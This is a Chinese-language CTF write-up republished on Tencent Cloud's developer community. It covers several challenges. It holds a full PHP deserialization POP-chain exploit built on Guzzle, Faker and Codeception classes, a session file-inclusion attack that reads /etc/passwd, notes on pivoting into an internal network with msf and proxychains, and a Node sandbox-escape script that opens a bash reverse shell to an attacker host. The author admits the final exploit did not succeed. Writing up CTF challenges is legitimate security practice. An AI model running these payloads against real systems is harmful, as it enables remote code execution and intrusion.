这个题目懂得都懂,直接放exp吧
<?php
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('l');
include("closure/autoload.php");
$a = function(){system('ls /');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('test');
}
}
echo base64_encode(serialize(new RunProcess()));
// echo serialize(new RunProcess());
}
检测网站发现admin下的include123.php文件,看到过滤函数
知识点:session文件包含
在检测处抓包,url1传入参数http://127.0.0.1/admin/include123.php?u=/etc/passwd
成功读取/etc/passwd文件
修改PHPSESSION为test1,SESSION文件的存储位置为/tmp/sess_
使用php短标签去执行命令
传入后在去返回值为True
查看根目录下文件,发现getflag.sh文件
然后直接查看getflag.sh文件
拿到flag
这里最后一步没有做出来,后来看大师傅们的wp才发现原来我离flag那么近
就简单说一下我的做题思路吧
生成jar包上传msf设置监听拿到shell,然后配置静态路由proxychians nmap去扫描内网机器内网存在另外一台机器为1.11,题目给的有一个jar包在本地起来后发现时一个spring boot 然后通过jd-gui工具得到源码,源码里可以看到默认账号和密码。以为是shiro 测试了多次后发现未能利用,赛后看到是用fastjion去打。血亏 。
比赛的时候没有做出来,赛后复现一波。
考察:zombie模块注入漏洞
刚开始还是按照我比赛时候的思路进行。创建一个admin用户然后登录,看到了用户信息更新页面
然后在源码文件中搜索bucket
可以看到如果我们输入更新后就会返回token值,所以先抓包获取token
赛后查阅writeup了解到 更新传入bucket生成token去判断请求爬虫。我们只要在这个过程中替换我们的url就好。
漏洞点再goto里面的visit
我们换入的bucke经过checkBuket检查之后给力personalBucket,然后/verify又通过personalBucket进行更新,也就是说我们可以覆盖之前的url,但是token还是一样的。
Token已经获取得到,在vps上写入exp.html
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],);console.log(ls.output.toString());")()</script>
然后修改bucket成功更新 然后再次访问/user/bucket反弹shell,就能拿到flag!
ps://最后由于我环境的问题未能成功只说了下后面的思路,望大佬们勿喷
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。